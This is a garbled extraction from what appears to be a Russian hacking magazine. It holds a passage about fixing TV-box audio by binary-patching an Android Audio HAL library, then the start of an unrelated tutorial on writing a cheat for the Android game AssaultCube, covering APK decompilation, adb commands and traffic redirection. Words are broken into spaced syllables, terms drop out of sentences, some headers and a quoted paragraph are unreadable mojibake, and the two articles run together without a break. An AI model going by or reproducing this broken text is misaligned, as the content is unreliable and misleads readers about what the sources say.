начение, так и наз начение I2S2 оста ются под воп росом. Ког да вос про изве -
дение авто мати чес ки вос ста нав лива ется, в жур нал  записы вают ся

такие стро ки:

APBIF_TXDIF2

logcat

D audio_hw_primary: enable_ahub_hdmi_out
D audio_hw_primary: enable_ahub_bt_out

Мо жет быть, нерабо тающие эле мен ты управле ния отно сят ся к ?

Как бы то ни было, с уче том получен ной информа ции я нарисо вал такую схе му
работы ТВ-прис тавки.

ahub_bt_out

Ре аль ная схе ма работы зву ковой под систе мы ТВ-прис тавки X96Q PRO

Как еще мож но поп робовать устра нить проб лемы со зву ком? Изме нение
«ahub audio format Function» с  на ,  и даже 

не возыме ло никако го эффекта. Тог да я решил напос ледок перекон фигури -
ровать Audio HUB так, что бы зву ковой поток про ходил через мик шер DAM0.
Это приб лизило бы работу зву ковой под систе мы к эта лон ному при меру
из даташи та.

pcm DTS DOLBY_DIGITAL_PLUS null

Эк спе римен таль ная схе ма работы зву ковой под систе мы ТВ-прис тавки
X96Q PRO

Для реали зации сво его замыс ла я выпол нил сле дующие коман ды:

 2  0tinymix -D 'I2S2OUT Switch'
 2 tinymix -D 'I2S2 Src Select' NONE
 2 tinymix -D 'DAM0Chan0 Src Select' APBIF_TXDIF0
 2  1tinymix -D 'DAM0IN Switch'
 2  1tinymix -D 'DAM0OUT Switch'
 2 tinymix -D 'I2S1 Src Select' DAM0_TXDIF

Звук по новой схе ме зарабо тал как ни в чем не бывало, толь ко пот рески вания
и пощел кивания из него не исчезли. Нуж ны какие-то новые идеи.

ÏÎÈÑÊ ÑÂÅÆÈÕ ÈÄÅÉ

Я вре мен но перенес поис ки решения в интернет и нат кнул ся на 
 работы USB Creative SoundBlaster MP3+ на Raspberry Pi.

лю бопыт ное
обсужде ние

Учас тник, ини цииро вав ший дис куссию, отме чает зависи мость качес тва
вос про изво димо го зву ка от ком бинации парамет ров

/ , которы ми ини циали зиру ется устрой ство ALSA.

При некото рых зна чени ях наб люда ются дефек ты, которые автор сооб щения
наз вал «заика нием» (shuttering).

period_size buffer_size

В отве тах дру гие поль зовате ли сооб щают, что проб лема может зак лючать -
ся в выпол нении при нуди тель ного внут ренне го пре обра зова ния час тоты дис -
кре тиза ции из 48 000 к 44 100 Гц при про хож дении ауди опо тока по эле мен -
там зву ковой под систе мы.

Это обсужде ние побуди ло меня про дол жить поис ки в нап равле нии
парамет ров циф рового зву ка. Я вспом нил о том, что
в  вез де про писа ны зна чения 48 000,

а все ауди опо токи вос про изво дят ся с час тотой дис кре тиза ции 44 100. Но,
огля дыва ясь назад, я не смог при пом нить никаких воз можнос тей каким-то
обра зом пов лиять на эту ситу ацию. Кро ме того, я тес тировал вос про изве -
дение меди адан ных, которые были закоди рова ны с раз ными час тотами дис -
кре тиза ции: 16 000, 22 050, 24 000, 32 000, 44 100 и 48 000, — и все они име -
ли дефек ты зву чания.

audio_policy_configuration.xml

В катало ге  нашел ся файл ,

содер жащий парамет ры для ини циали зации зву ковых устрой ств:

/vendor/etc/ audio_platform_info.xml

...
<!-- main output profile -->
<platform_devices_profile>
     <platform_devices devices=
"OUT_SPK|OUT_EAR|OUT_HP|OUT_SPK_AND_HP|OUT_DULSPK|OUT_DULSPK_HP"/>
    <snd_card_config

          type="frontend" card_name="audiocodec" device="0"
           channels="2" rate="48000" period_size="1024" period_count="2"

    />
</platform_devices_profile>
...
<!-- hdmi -->
<platform_devices_profile>
     <platform_devices devices="OUT_HDMI"/>
    <snd_card_config

          type="frontend" card_name="sndhdmi" device="0"
           channels="2" rate="48000" period_size="512" period_count="2"

    />
</platform_devices_profile>
...

Од нако, во-пер вых, я не смог обна ружить никаких приз наков исполь зования
это го фай ла опе раци онной сис темой прис тавки, а во-вто рых, в нем мы сно ва
видим час тоту дис кре тиза ции 48 000.

На вер ное, приш ло вре мя всту пить в самую тем ную область зву ковой под -
систе мы Android и занять ся изу чени ем биб лиоте ки про межу точ ного слоя
Audio HAL. Почему я так мрач но выс казыва юсь об этой час ти зву ковой под -
систе мы? Потому что осталь ные ее ком понен ты неп лохо изу чены и докумен -
тирова ны, а вот HAL — это пре рога тива про изво дите ля кон крет ного устрой -
ства, которая обыч но соп ровож дает ся вся кими сло вами типа сondential,
и мне бы очень не хотелось во все это пог ружать ся. Но по всем законам ска -
зоч ного жан ра чему быть, того не миновать.

ÓÐÎÂÅÍÜ ÑËÎß ÀÁÑÒÐÀÊÖÈÈ AUDIO HAL

Èññëåäîâàíèå ôàéëà audio.primary.cupid.so
Что нам извес тно о про межу точ ном слое Audio HAL и вооб ще, где его искать?

 сооб щает, что биб лиоте ка HAL дол жна иметь имя
. На прис тавке наш лись два фай ла, отве чающих

это му тре бова нию:  и 
. Наиболь ший инте рес пред став -

ляет вто рой файл, потому что имен но он реали зует фун кции, спе цифич ные
для нашего устрой ства. Изу чим его под робнее.

До кумен тация Android
audio.primary.<device>.so

/vendor/lib/hw/audio.primary.default.so /
vendor/lib/hw/audio.primary.cupid.so

Пос мотрим, какие ауди оус трой ства обслу жива ет биб лиоте ка HAL 
:

audio.
primary.cupid.so

strings audio.primary.cupid.so | grep AUDIO_DEVICE_

start_output_stream, AUDIO_DEVICE_OUT_SPEAKER
start_output_stream AUDIO_DEVICE_OUT_DGTL_DOCK_HEADSET
start_output_stream AUDIO_DEVICE_OUT_AUX_DIGITAL

Продолжение статьи →

https://android.googlesource.com/platform/frameworks/av/+/refs/heads/android10-mainline-release/services/audiopolicy/common/include/Volume.h
https://www.allwinnertech.com/uploads/pdf/2020040917181739.pdf
https://www.allwinnertech.com/uploads/pdf/20200409170709ca.pdf
http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi-Zero-2.html
https://www.alsa-project.org/wiki/FramesPeriods
https://www.alsa-project.org/wiki/FramesPeriods
https://github.com/Dinodva/Tinymix-Binary-Installer-Magisk-Module
https://github.com/mikebrady/shairport-sync/issues/167
https://github.com/mikebrady/shairport-sync/issues/167
https://source.android.com/docs/core/audio/implement-shared-library


ПОГРУЖАЕМСЯ В НЕДРА ОС,
ЧТОБЫ НАЙТИ И УСТРАНИТЬ БАГ

COVERSTORY  НАЧАЛО СТАТЬИ

Ана логич ным обра зом мы можем пос мотреть, какие сис темные нас трой ки ей
извес тны:

strings audio.primary.cupid.so | grep vendor

vendor.audio.input.active
vendor/etc/ac100_paths.xml
vendor.audio.output.active
vendor.mediasw.sft.rawdata

Прис ваива ние свой ству  зна чения с помощью

коман ды  на вос про изве дение зву ка не ока зыва ет вли яния, потому

что зна чение как это го свой ства, так и свой ства 

 пере уста нав лива ется в соот ветс твии с нас трой ками зву ка в Android.

vendor.mediasw.sft.rawdata
setprop

vendor.audio.output.
active

Íàñòðîéêè â ac100_paths.xml
Ин тересен слу чай но попав ший в выбор ку файл 

. Как ока залось, он исполь зует ся биб лиоте кой вмес то

. В фай ле  содер жится опи сание

парамет ров для устрой ств ALSA. Эти парамет ры выс тавля ются для раз ных
режимов работы ауди опод систе мы.

/vendor/etc/ac100_paths.
xml
audio_mixer_paths.xml ac100_paths.xml

Файл гро моз дкий, потому что учи тыва ет воз можность под клю чения
и отклю чения раз ных устрой ств вво да и вывода зву ка, таких как USB-мик -
рофоны и бес про вод ные гар нитуры. При обыч ном исполь зовании прис тавки
записи об уста нов ке режимов работы в жур нале  выг лядят так:logcat

D audio_route: Apply path: media-speaker-headphones
D audio_route: Apply path: media-headset-mic

Ре жиму  соот ветс тву ет вот эта часть кон фига:media-speaker-headphones

<mixer>
  ...
   <path name="media-speaker-headphones">
      <path name="dac-mixer" />
       <ctl name="Left Output Mixer DACL Switch" value="1" />
       <ctl name="Left Output Mixer DACR Switch" value="0" />
       <ctl name="Right Output Mixer DACL Switch" value="0" />
       <ctl name="Right Output Mixer DACR Switch" value="1" />
       <ctl name="LINEOUT volume" value="31" />
       <ctl name="LINEOUT Switch" value="1" />
  </path>
  ...
</mixer>

Со пос тавив этот фраг мент со схе мой зву ковой под систе мы Allwinner
H616 и режима ми работы ком понен та Audio Codec, который мы иссле дова ли
на уров не ALSA, ты без осо бого тру да уви дишь, как при меня ются нас трой ки
из это го фай ла. Но мы по-преж нему не зна ем, где уста нав лива ются парамет -
ры циф рового зву ка.

У тебя не воз ник воп рос, что озна чает «AC100» в име ни фай ла? Я тоже этим
заин тересо вал ся и нашел в сети  о мик росхе ме с таким наиме нова -
нием.

све дения

Ока залось, она пред став ляет собой высоко интегри рован ную ауди опод -
систе му про изводс тва X-Powers и пред назна чена для исполь зования в Wi-Fi
колон ках, план шетах и смар тфо нах. Ее опи сание перек лика ется с тем, что мы
видели в руководс тве по Allwinner H616, но прин цип работы и управля ющие
парамет ры здесь рас смот рены более под робно.

Из  на мик росхе му мож но понять (и прос тить), почему
для основно го канала вывода зву ка в модуле HAL был выб ран стран ный
для телеви зион ной прис тавки иден тифика тор .

спе цифи кации

media-speaker-headphones

Что еще мы можем пред при нять? Давай пос мотрим, что записы вает ся в жур -
нал  при стар те вос про изве дения меди апо тока с час тотой дис кре тиза -

ции 32 000 Гц при ложе нием .

logcat
mpv-android

V mpv     : [af:v] [out] 32000Hz stereo 2ch s16
V mpv     : [cplayer:v] audio ready
V mpv     : [cplayer:v] starting audio playback
V mpv     : [cplayer:v] playback restart complete @ 0.000000, 
audio=playing, video=eof
D audio_hw_primary: start_output_stream   out->format : 0x00000000
V audio_hw_primary: start_output_stream, line: 1654
D audio_route: Apply path: media-speaker-headphones
D audio_route: Apply path: media-headset-mic
V audio_hw_primary: use AUDIO_CODEC to playback audio
D audio_hw_primary: open card=0, port=0
D audio_hw_primary: config:2 44100 960 2 0 5760 1 0
D audio_hw_primary: set_raw_flag(card=0, raw_flag=1)
D audio_hw_primary: set_raw_flag(card=2, raw_flag=1)
D audio_hw_primary: set_raw_flag control_name = ahub audio format 
Function)
V audio_hw_primary: do not use out resampler
V audio_hw_primary: use AUDIO_HDMI to playback audio
D audio_hw_primary: open card=3, port=0
D audio_hw_primary: config:2 44100 960 2 0 5760 1 0
D audio_hw_primary: set_raw_flag(card=3, raw_flag=1)
D audio_hw_primary: set_raw_flag control_name = hdmi audio format 
Function)
D audio_hw_primary: set_raw_flag(card=2, raw_flag=1)
D audio_hw_primary: set_raw_flag control_name = ahub audio format 
Function)
V audio_hw_primary: do not use out resampler
D audio_hw_primary: enable_ahub_hdmi_out
D audio_hw_primary: enable_ahub_bt_out

Стро ки с помет кой  записа ны биб лиоте кой Audio HAL.

Из это го отрывка вид но, что, нес мотря на час тоту вос про изво димых ауди -
одан ных 32 000 Гц и зна чения 48 000 Гц во всех нас трой ках, биб лиоте ка HAL
ини циали зиру ет устрой ства  и  зна чени ем 44 100 Гц.

Я решитель но не понимаю, почему так про исхо дит, поэто му решил иссле -
довать код биб лиоте ки HAL. Исходни ков мне най ти не уда лось, приш лось
вос поль зовать ся дизас сем бле ром.

audio_hw_primary

AUDIO_CODEC AUDIO_HDMI

Äèçàññåìáëèðîâàíèå áèáëèîòåêè HAL
Для дизас сем бли рова ния понадо бит ся ути лита , понима ющая

машин ный код про цес соров ARM. Поэто му в Ubuntu уста новим пакет
:

objdump

binutils-arm-linux-gnueabihf

apt sudo install binutils-arm-linux-gnueabihf

Ди зас сем бли руем биб лиоте ку :audio.primary.cupid.so

arm-linux-gnueabihf-objdump -D audio.primary.cupid.so > audio.
primary.cupid.so.dasm

Те перь выпол ним поиск по зна чению 44100 в получен ном лис тинге:

 grep '44100' audio.primary.cupid.so.dasm

От ветом ста ли 18 строк с коман дами заг рузки чис ла 44 100 в раз ные регис -
тры:

    51cc:   f64a 4044   movw    r0, #44100  ; 0xac44
    52cc:   f64a 4344   movweq  r3, #44100  ; 0xac44
    6356:   f64a 4144   movw    r1, #44100  ; 0xac44
    63b4:   f64a 4044   movweq  r0, #44100  ; 0xac44
    6d06:   f64a 4244   movw    r2, #44100  ; 0xac44
    7196:   f64a 4044   movw    r0, #44100  ; 0xac44
    72d0:   f64a 4044   movw    r0, #44100  ; 0xac44
    74b8:   f64a 4144   movweq  r1, #44100  ; 0xac44
    74de:   f64a 4044   movw    r0, #44100  ; 0xac44
    7508:   f64a 4344   movw    r3, #44100  ; 0xac44
    7522:   f64a 4344   movw    r3, #44100  ; 0xac44
    762e:   f64a 4044   movw    r0, #44100  ; 0xac44
    7724:   f64a 4144   movw    r1, #44100  ; 0xac44
    772c:   f64a 4244   movwne  r2, #44100  ; 0xac44
    798a:   f64a 4044   movw    r0, #44100  ; 0xac44
    79a6:   f64a 4044   movw    r0, #44100  ; 0xac44
    79c0:   f64a 4344   movw    r3, #44100  ; 0xac44
    7a9e:   f64a 4344   movw    r3, #44100  ; 0xac44

На ибо лее при меча тель ный учас ток кода выг лядит так:

    7186:   f44f 7070   mov.w   r0, #960    ; 0x3c0
    718a:   f8c8 00a0   str.w   r0, [r8, #160]  ; 0xa0
    718e:   f44f 60f0   mov.w   r0, #1920   ; 0x780
    7192:   f8c8 0090   str.w   r0, [r8, #144]  ; 0x90
    7196:   f64a 4044   movw    r0, #44100  ; 0xac44
    719a:   f8c8 0080   str.w   r0, [r8, #128]  ; 0x80

По хоже, что он записы вает десятич ные чис ла 960, 1920 и 44 100 в струк туру,
на которую ука зыва ет содер жимое регис тра r8. А где нам встре чались эти
зна чения? В фай ле, отра жающем нас трой ки зву ковой под систе мы драй веров
Linux . Видимо, имен но здесь

про исхо дит под готов ка этой под систе мы к вос про изве дению.

/proc/asound/card3/pcm0p/sub0/hw_params

Ка кие выводы из все го это го мож но сде лать? Во-пер вых, биб лиоте ка ини -
циали зиру ет зву ковую под систе му фик сирован ными зна чени ями, пред став -
ленны ми в ее коде, а не получен ными из кон фигура цион ных фай лов или нас -
тро ек опе раци онной сис темы. Во-вто рых, эти зна чения вши ты непос редс -
твен но в машин ный код команд, а не хра нят ся отдель но в сег менте дан ных.
Пос ледний факт усложня ет задачу изме нения этих зна чений.

Èñïðàâëåíèå áèáëèîòåêè HAL
Как же испра вить дво ичный файл биб лиоте ки HAL, что бы реали зован ные
в нем фун кции ори енти рова ли ком понен ты ALSA на работу с час тотой дис кре -
тиза ции 48 000 Гц? Ассем бле ра для архи тек туры ARM я не знаю, поэто му
не могу про ана лизи ровать логику работы соот ветс тву ющих учас тков биб -
лиоте ки, что бы локали зовать кон крет ные коман ды, тре бующие изме нения.

Кро ме того, у меня было нас тро ение Бар малея, который в ответ
на замеча ние глав ного героя кинофиль ма «Айбо лит-66» о том, что нехоро шо
обма нывать малень кую обезь янку, нетер пеливо воз разил: «Я не могу ждать,
пока она вырас тет!» Поэто му я при нял аван тюрное решение: заменить зна -
чение 44 100 зна чени ем 48 000 во всех коман дах mov, где оно встре чает ся.

С одной сто роны, веро ятно, сущес тву ют учас тки кода, в которых зна -
чение 44 100 исполь зует ся не для ини циали зации зву ковой под систе мы, а,
нап ример, для срав нения с парамет ром пре дос тавлен ного к вос про изве -
дению ауди опо тока. С дру гой сто роны, если рань ше при ини циали зации зву -
ковой под систе мы всег да исполь зовалось зна чение 44 100, то сей час вмес то
него будет сто ять 48 000.

Я бы ни за что не стал чохом всле пую менять в бан ков ском при ложе -
нии 100 на 150, если бы вышел закон о новой порого вой сум ме каких-то опе -
раций. Потому что 100 может быть как величи ной этой сум мы, так и, нап -
ример, коэф фици ентом перево да руб лей в копей ки. Да и финан совая сфе -
ра — сов сем не та область, в которой допус тимы подоб ные лег комыс ленные
решения.

Но 44 100 — слиш ком уж харак терная величи на, которую слож но
с чем-нибудь перепу тать. Кро ме того, малове роят но, что час тота дис кре тиза -
ции явно вли яет на выделе ние буферов (ина че такое гру бое вме шатель ство
мог ло бы при вес ти к утеч кам памяти). Ну и в самом худ шем слу чае ущерб
огра ничит ся неис прав ной телеви зион ной прис тавкой — потеря не так велика.

В этот момент пос ледова тель ный рас судитель ный инже нер ухо дит со сце -
ны и в лучах софитов на ней появ ляет ся хакер!

 менять, мы уже видим. Теперь надо выяс нить,  это менять.

Для это го пос мотрим, как выг лядят коман ды заг рузки в регис тры зна -
чения 48 000:

×òî íà ÷òî

 grep '#48000' audio.primary.cupid.so.dasm

    634e:   f64b 3180   movw    r1, #48000  ; 0xbb80
    7002:   f64b 3380   movw    r3, #48000  ; 0xbb80
    7028:   f64b 3380   movw    r3, #48000  ; 0xbb80
    7734:   f64b 3180   movw    r1, #48000  ; 0xbb80
    773c:   f64b 3280   movwne  r2, #48000  ; 0xbb80

Со пос тавив шес тнад цатерич ные машин ные коды с мне мони чес кими запися -
ми команд, мож но сде лать вывод, что для замены команд 

коман дами  надо выпол нить такие под ста нов ки:

movw r?, #44100
movw r?, #48000

 вмес то ;• 4BF6 8030 4AF6 4440
 вмес то ;• 4BF6 8031 4AF6 4441
 вмес то ;• 4BF6 8032 4AF6 4442
 вмес то .• 4BF6 8033 4AF6 4443

По мимо это го, зна чение 44 100 (0x44AC в шес тнад цатерич ном пред став -
лении Little Endian) триж ды встре чает ся в сег менте дан ных. Его тоже изме ним
на 48 000 (0x80BB в шес тнад цатерич ном пред став лении Little Endian).

Пол ная таб лица исправ лений для фай ла  с кон -

троль ной сум мой MD5  будет выг лядеть

сле дующим обра зом:

audio.primary.cupid.so
daa172745b41d0db7e7e03bdaae4796b

0x51CC: 4A F6 44 40  -> 4B F6 80 30
0x52CC: 4A F6 44 43  -> 4B F6 80 33
0x6356: 4A F6 44 41  -> 4B F6 80 31
0x63B4: 4A F6 44 40  -> 4B F6 80 30
0x6D06: 4A F6 44 42  -> 4B F6 80 32
0x7196: 4A F6 44 40  -> 4B F6 80 30
0x72D0: 4A F6 44 40  -> 4B F6 80 30
0x74B8: 4A F6 44 41  -> 4B F6 80 31
0x74DE: 4A F6 44 40  -> 4B F6 80 30
0x7508: 4A F6 44 43  -> 4B F6 80 33
0x7522: 4A F6 44 43  -> 4B F6 80 33
0x762E: 4A F6 44 40  -> 4B F6 80 30
0x7724: 4A F6 44 41  -> 4B F6 80 31
0x772C: 4A F6 44 42  -> 4B F6 80 32
0x798A: 4A F6 44 40  -> 4B F6 80 30
0x79A6: 4A F6 44 40  -> 4B F6 80 30
0x79C0: 4A F6 44 43  -> 4B F6 80 33
0x7A9E: 4A F6 44 43  -> 4B F6 80 33
0xC008: 44 AC  -> 80 BB
0xC038: 44 AC  -> 80 BB
0xC068: 44 AC  -> 80 BB

Кон троль ная сум ма MD5 исправ ленно го фай ла —
.c58c080cca142114dcd840d0d94f66a7

Èñïûòàíèå èñïðàâëåííîé áèáëèîòåêè
Став лю исправ ленную биб лиоте ку на телеви зион ную прис тавку и перезаг -
ружаю ее. Она не завис ла на эта пе заг рузки — это уже хорошо! Теперь запус -
каю вос про изве дение тес тового сиг нала... и слы шу прек расный чис тый тон
телефон ного гуд ка! В это труд но про верить, но аван тюра уда лась!

Звук прис тавки стал если не иде аль ным, то впол не при емле мым. Из ауди -
осоп ровож дения телеви зион ных прог рамм исчезли «царапа ющие» щел чки
и запина ния, пос тепен но ушло и нер вное нап ряжение, свя зан ное с ожи дани -
ем про явле ния оче ред ного дефек та.

Про веряю парамет ры ауди опо тока с помощью коман ды 

:

dumpsys media.
audio_flinger

Output thread 0xeb193880, name AudioOut_D, tid 2114, type 0 (MIXER):
  I/O handle: 13
  Standby: no
  Sample rate: 48000 Hz
  HAL frame count: 896
  HAL format: 0x1 (AUDIO_FORMAT_PCM_16_BIT)
  HAL buffer size: 3584 bytes
  Channel count: 2
  Channel mask: 0x00000003 (front-left, front-right)
  Processing format: 0x5 (AUDIO_FORMAT_PCM_FLOAT)
  ...
  1 Tracks of which 1 are active
    Type     Id Active Client Session Port Id S  Flags   Format Chn 
mask  SRate ST Usg CT  G db  L dB  R dB  VS dB   Server FrmCnt  
FrmRdy F Underruns  Flushed   Latency
             56    yes   6665      25       9 A  0x000 00000005 
00000001  44100  3   1  2     0     0     0     0  00081F97   6372   
 3197 A         0        0   unavail

Она показы вает, что исходные ауди одан ные с час тотой дис кре тиза -
ции 44 100 Гц пре обра зуют ся для переда чи на ауди овы ход с час тотой дис -
кре тиза ции 48 000 Гц. Но неожи дан но для меня изме нились зна чения 

 вмес то 960 и  вмес то 3840. А что

про изош ло на уров не ALSA? Содер жимое фай ла 

 под твержда ет изме нение час тоты дис кре тиза ции
выход ного потока, при этом величи ны  и  оста лись

преж ними:

HAL
frame count: 896 HAL buffer size: 3584

/proc/asound/card3/
pcm0p/sub0/hw_params

period_size buffer_size

access: RW_INTERLEAVED
format: S16_LE
subformat: STD
channels: 2
rate: 48000 (48000/1)
period_size: 960
buffer_size: 1920

Мо жет быть, изме нив шееся на уров не ауди осер вера зна чение HAL frame
count при вело к тому, что опе рации запол нения аппа рат ного и прог рам мно го
буферов ауди одан ных раз неслись по вре мени, в резуль тате чего устра нились
нак ладки, которые про исхо дили рань ше?

Как бы то ни было, мно гоча совая экс плу ата ция телеви зион ной прис тавки
с изме нен ной биб лиоте кой Audio HAL не выяви ла никаких побоч ных
эффектов. Раз нооб разные меди апо токи вос про изво дились с хорошим качес -
твом зву ка и не вызыва ли сбо ев.

В качес тве основно го устрой ства вос про изве дения мож но вер нуть
, если отсутс твие воз можнос ти регули ров ки

уров ня гром кости для  вызыва ет дис комфорт, —

это не испортит дос тигну того резуль тата.

AUDIO_DEVICE_OUT_SPEAKER
AUDIO_DEVICE_OUT_HDMI

ÇÀÊËÞ×ÅÍÈÅ

Мы про дела ли дол гий путь, в ходе которо го поз накоми лись со все ми уров -
нями зву ковой под систе мы Android 10, изме нили устрой ство вывода зву ка
с  на , выс тавили необ -

ходимый уро вень гром кости и в кон це кон цов испра вили биб лиоте ку Audio
HAL так, что бы ауди опо ток выводил ся с час тотой дис кре тиза ции 48 000 Гц,
а не 44 100 Гц.

AUDIO_DEVICE_OUT_SPEAKER AUDIO_DEVICE_OUT_HDMI

Пос ледняя модифи кация устра нила проб лему низ кого качес тва зву ка
на телеви зоре, к которо му под клю чена прис тавка X96Q PRO. Спо соб,
которым были выпол нены исправ ления, нель зя наз вать бес спор ным. Но он
поз волил быс тро дос тичь при емле мого резуль тата, а пос ледова тель ный
инже нер ный под ход при отсутс твии исходни ков пот ребовал бы слиш ком
боль ших уси лий и вре мени.

Ра ди инте реса я про верил сос тав дис три бути вов Android 10 для некото рых
дру гих устрой ств, пос тро енных на плат форме Allwinner H313/H616. Ока залось,
что файл биб лиоте ки Audio HAL от телеви зион ной прис тавки X96Q PRO ничем
не отли чает ся от тех, которые пос тавля ются в дис три бути вах для Orange Pi
Zero2 и Tanix TX6S.

От сутс твие мас совых сооб щений о проб леме с вос про изве дени ем зву ка
на под клю чен ных к таким устрой ствам телеви зорах может говорить о том, что
опи сан ные в начале статьи зву ковые дефек ты ста ли резуль татом несов мести -
мос ти ауди одан ных, которые выда ет прис тавка, с кон крет ной моделью
телеви зора. Но это не отме няет того фак та, что парамет ры, про писан ные
в кон фигах, не соот ветс тву ют фак тичес ки уста нав лива емым при вос про изве -
дении зву ка. Не помеша ла бы и воз можность управле ния эти ми парамет рами
через гра фичес кий интерфейс Android.

Пе чаль но, но факт: при чина проб лем кры лась в соф те прис тавки. Похоже,
ему в сфе ре мас сового про изводс тва уде ляют все мень ше вни мания.
В резуль тате даже качес твен ное железо не всег да может рас крыть свои луч -
шие сто роны.

http://www.x-powers.com/en.php/Info/product_detail/article_id/39
http://www.x-powers.com/en.php/Info/down/id/91
https://github.com/mpv-android/mpv-android
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Се год ня мы с тобой напишем чит
для шутера AssaultCube на Android. Но сна -
чала зас тавим игру работать и в про цес се
изу чим при емы деком пиляции и сбор ки
APK, а так же перенап равле ния тра фика
и под делки игро вого сер вера.

• Чит сво ими руками. Вскры ваем компь ютер ную игру и пишем трей нер
на C++

• Чит сво ими руками. Смот рим сквозь сте ны и дела ем автопри цели вание
для 3D-шутера

• Чит сво ими руками. Обхо дим прос той анти чит и иссле дуем игру на Unity

Ис поль зование читов наруша ет поль зователь ское
сог лашение игры, что может пов лечь юри дичес -
кое прес ледова ние. Мы обсужда ем здесь соз -
дание чита исклю читель но в целях обу чения.
Автор и редак ция не несут ответс твен ности
за воз можные пос ледс твия при мене ния и рас -
простра нения такого ПО.

Да вай для начала про бежим ся по теории. Прог раммы и игры для Android
обыч но пишут с при мене нием сле дующих язы ков прог рамми рова ния и тех -
нологий:

Java — тра дици онный и самый рас простра нен ный вари ант. Код ком -
пилиру ется в байт-код Java, затем в DEX для Dalvik/ART;

•

Kotlin — сов ремен ный язык от JetBrains, офи циаль но под держи вает ся
Google с 2017 года. Сов местим с Java, более лаконич ный и безопас ный;

•

C/C++ — исполь зуют ся через Android NDK (Native Development Kit)
для высокоп роиз водитель ных модулей, игр, биб лиотек;

•

Dart (Flutter) — кросс-плат формен ный фрей мворк от Google;•
JavaScript/TypeScript — час то исполь зуют ся через React Native, Cordova;•
C# — мож но исполь зовать через Xamarin.•

Ре зуль тат ком пиляции Android-при ложе ния — это файл с рас ширени ем .apk
(Android Package). APK — это ZIP-архив, содер жащий сле дующие ком понен -
ты:

 — манифест при ложе ния, вклю чает опи сание
ком понен тов, раз решений, точек вхо да;

• AndroidManifest.xml

 — ском пилиро ван ный байт-код Dalvik/ART (основной код
при ложе ния);

• classes.dex

 — ском пилиро ван ные ресур сы (стро ки, сти ли, атри -
буты);

• resources.arsc

 — про чие ресур сы (изоб ражения, layout XML и дру гое);• res/
 — метадан ные, под писи APK;• META-INF/

 — про изволь ные фай лы, дос тупные при ложе нию в ран тай ме;• assets/
 — натив ные биб лиоте ки (соот ветс тву ют архи тек турам: armeabi-v7a,

arm64-v8a и так далее).
• lib/

Струк тура фай ла

ÍÀÑÒÐÀÈÂÀÅÌ ÝÌÓËßÒÎÐ

Все дей ствия будем про водить в эму лято ре, а не на реаль ном устрой стве,
что бы его слу чай но не окир пичить. Из всех эму лято ров мой выбор пал на AVD,
который пос тавля ется вмес те с . Уста нав лива ем и запус каем.
Теперь соз даем экзем пляр устрой ства:

Android Studio

1. От кры ваем Virtual Device Manager.
2. Ви дим, что уже есть готовое устрой ство, и дуб лиру ем его.
3. Убе дим ся, что у устрой ств выб ран сер вис Google Play Store.
4. За пус тим и про верим, что все у нас работа ет.

Соз дание вир туаль ных устрой ств

ÑÒÀÂÈÌ ASSAULTCUBE

Для начала заг рузим игру , на которой мы будем упражнять ся. Ее
нуж но уста новить на оба устрой ства. Для это го откры ваем коман дную стро ку
и перехо дим вот в этот каталог (там хра нят ся все ути литы):

AssaultCube

%LOCALAPPDATA%\Android\Sdk\platform-tools

Вы пол няем коман ду , что бы прос мотреть спи сок дос тупных эму -

лято ров. Они будут пред став лены в фор мате , нап -
ример .

adb devices
<name>-<port> <type>

emulator-5554 device
Те перь уста новим наш APK:

adb -s emulator-5554 install myapp.apk

Как вари ант, мож но прос то перета щить APK на эму лятор и под твер дить уста -
нов ку.

Ус танов ка APK-фай ла

В какой-то момент тебе может понадо бить ся уда лить APK. Сде лать это мож но
вот как. Сна чала смот рим спи сок уста нов ленных пакетов:

adb -s emulator-5554 shell pm list packages | sort

За тем уда ляем ненуж ный:

adb -s <device-serial> shell pm uninstall <app-package-name>

Нап ример:

adb -s emulator-5554 shell pm uninstall net.cubers.assaultcube

Уда ление фай ла APK

Пос ле того как мы уста нови ли AssaultCube, запус тим ее и вой дем в меню
сетевой игры. Ничего не про исхо дит? Я тоже стол кнул ся с этой проб лемой,
но потом нашел режим раз работ ки.

Пе рек лючение в режим раз работ ки

В нем проб лема сра зу вид на: мы не можем под клю чить ся к игро вому сер -
веру.

Не удач ное под клю чение

ÏÅÐÅÍÀÏÐÀÂËßÅÌ ÒÐÀÔÈÊ ÍÀ ËÎÊÀËÜÍÛÉ ÑÅÐÂÅÐ

Ви димо, игро вые сер веры мер твы. Но мы можем перенап равить под клю -
чение на локаль ный сер вер. Нас трой ку и запуск сер вера я опи сывал во вто -
рой статье серии « ».Чит сво ими руками

Пе ренап равле ние тра фика

Есть два спо соба перенап равить тра фик на локаль ный сер вер. Пер вый —
это пат чинг APK с заменой ста рых адре сов нашим локаль ным; вто рой —
перенап равле ние тра фика APK.

Для начала раз берем пер вый под ход. Нам пот ребу ется  — деком -
пилятор APK. Откры ваем в нем нашу игру и, нем ного покопав шись в деком -
пилиро ван ном коде, находим файл  с адре сами и пор тами всех

игро вых сер веров.

jadx

server.cfg

Спи сок игро вых адре сов

Ска жу сра зу: если мы поменя ем адре са на , ничего работать

не будет. В  написа но сле дующее:

127.0.0.1
до кумен тации

«

»

Êàæ äûé ýêçåì ïëÿð ýìó ëÿòî ðà ðàáîòà åò çà âèð òóàëü íûì ìàð øðó òèçà -
òîðîì èëè áðàí äìà óýðîì, êîòîðûé èçî ëèðó åò åãî îò ñåòåâûõ
èíòåðôåé ñîâ è íàñ òðî åê âàøåé ìàøèíû ðàç ðàáîò êè è îò èíòåðíå òà.
Ýìó ëèðó åìîå óñòðîé ñòâî íå ìîæåò îáíà ðóæèòü âàøó ìàøèíó ðàç -
ðàáîò êè èëè äðó ãèå ýêçåì ïëÿ ðû ýìó ëÿòî ðà â ñåòè. Îíî îáíà ðóæè âàåò
òîëü êî òî, ÷òî ïîä êëþ ÷åíî ÷åðåç Ethernet ê ìàð øðó òèçà òîðó èëè áðàí -
äìà óýðó.

Âèð òóàëü íûé ìàð øðó òèçà òîð äëÿ êàæ äîãî ýêçåì ïëÿ ðà óïðàâëÿ åò
ñåòåâûì àäðåñíûì ïðîñ òðàíñ òâîì 10.0.2/24. Âñå àäðå ñà, óïðàâëÿ -
åìûå ìàð øðó òèçà òîðîì, èìå þò âèä 10.0.2.xx, ãäå xx — ÷èñ ëî.

То есть адрес нашего локаль ного сер вера будет .10.0.2.2

Се тевое адресное прос транс тво эму лято ра

Для непос редс твен но пат чинга APK вос поль зуем ся  — это GUI-
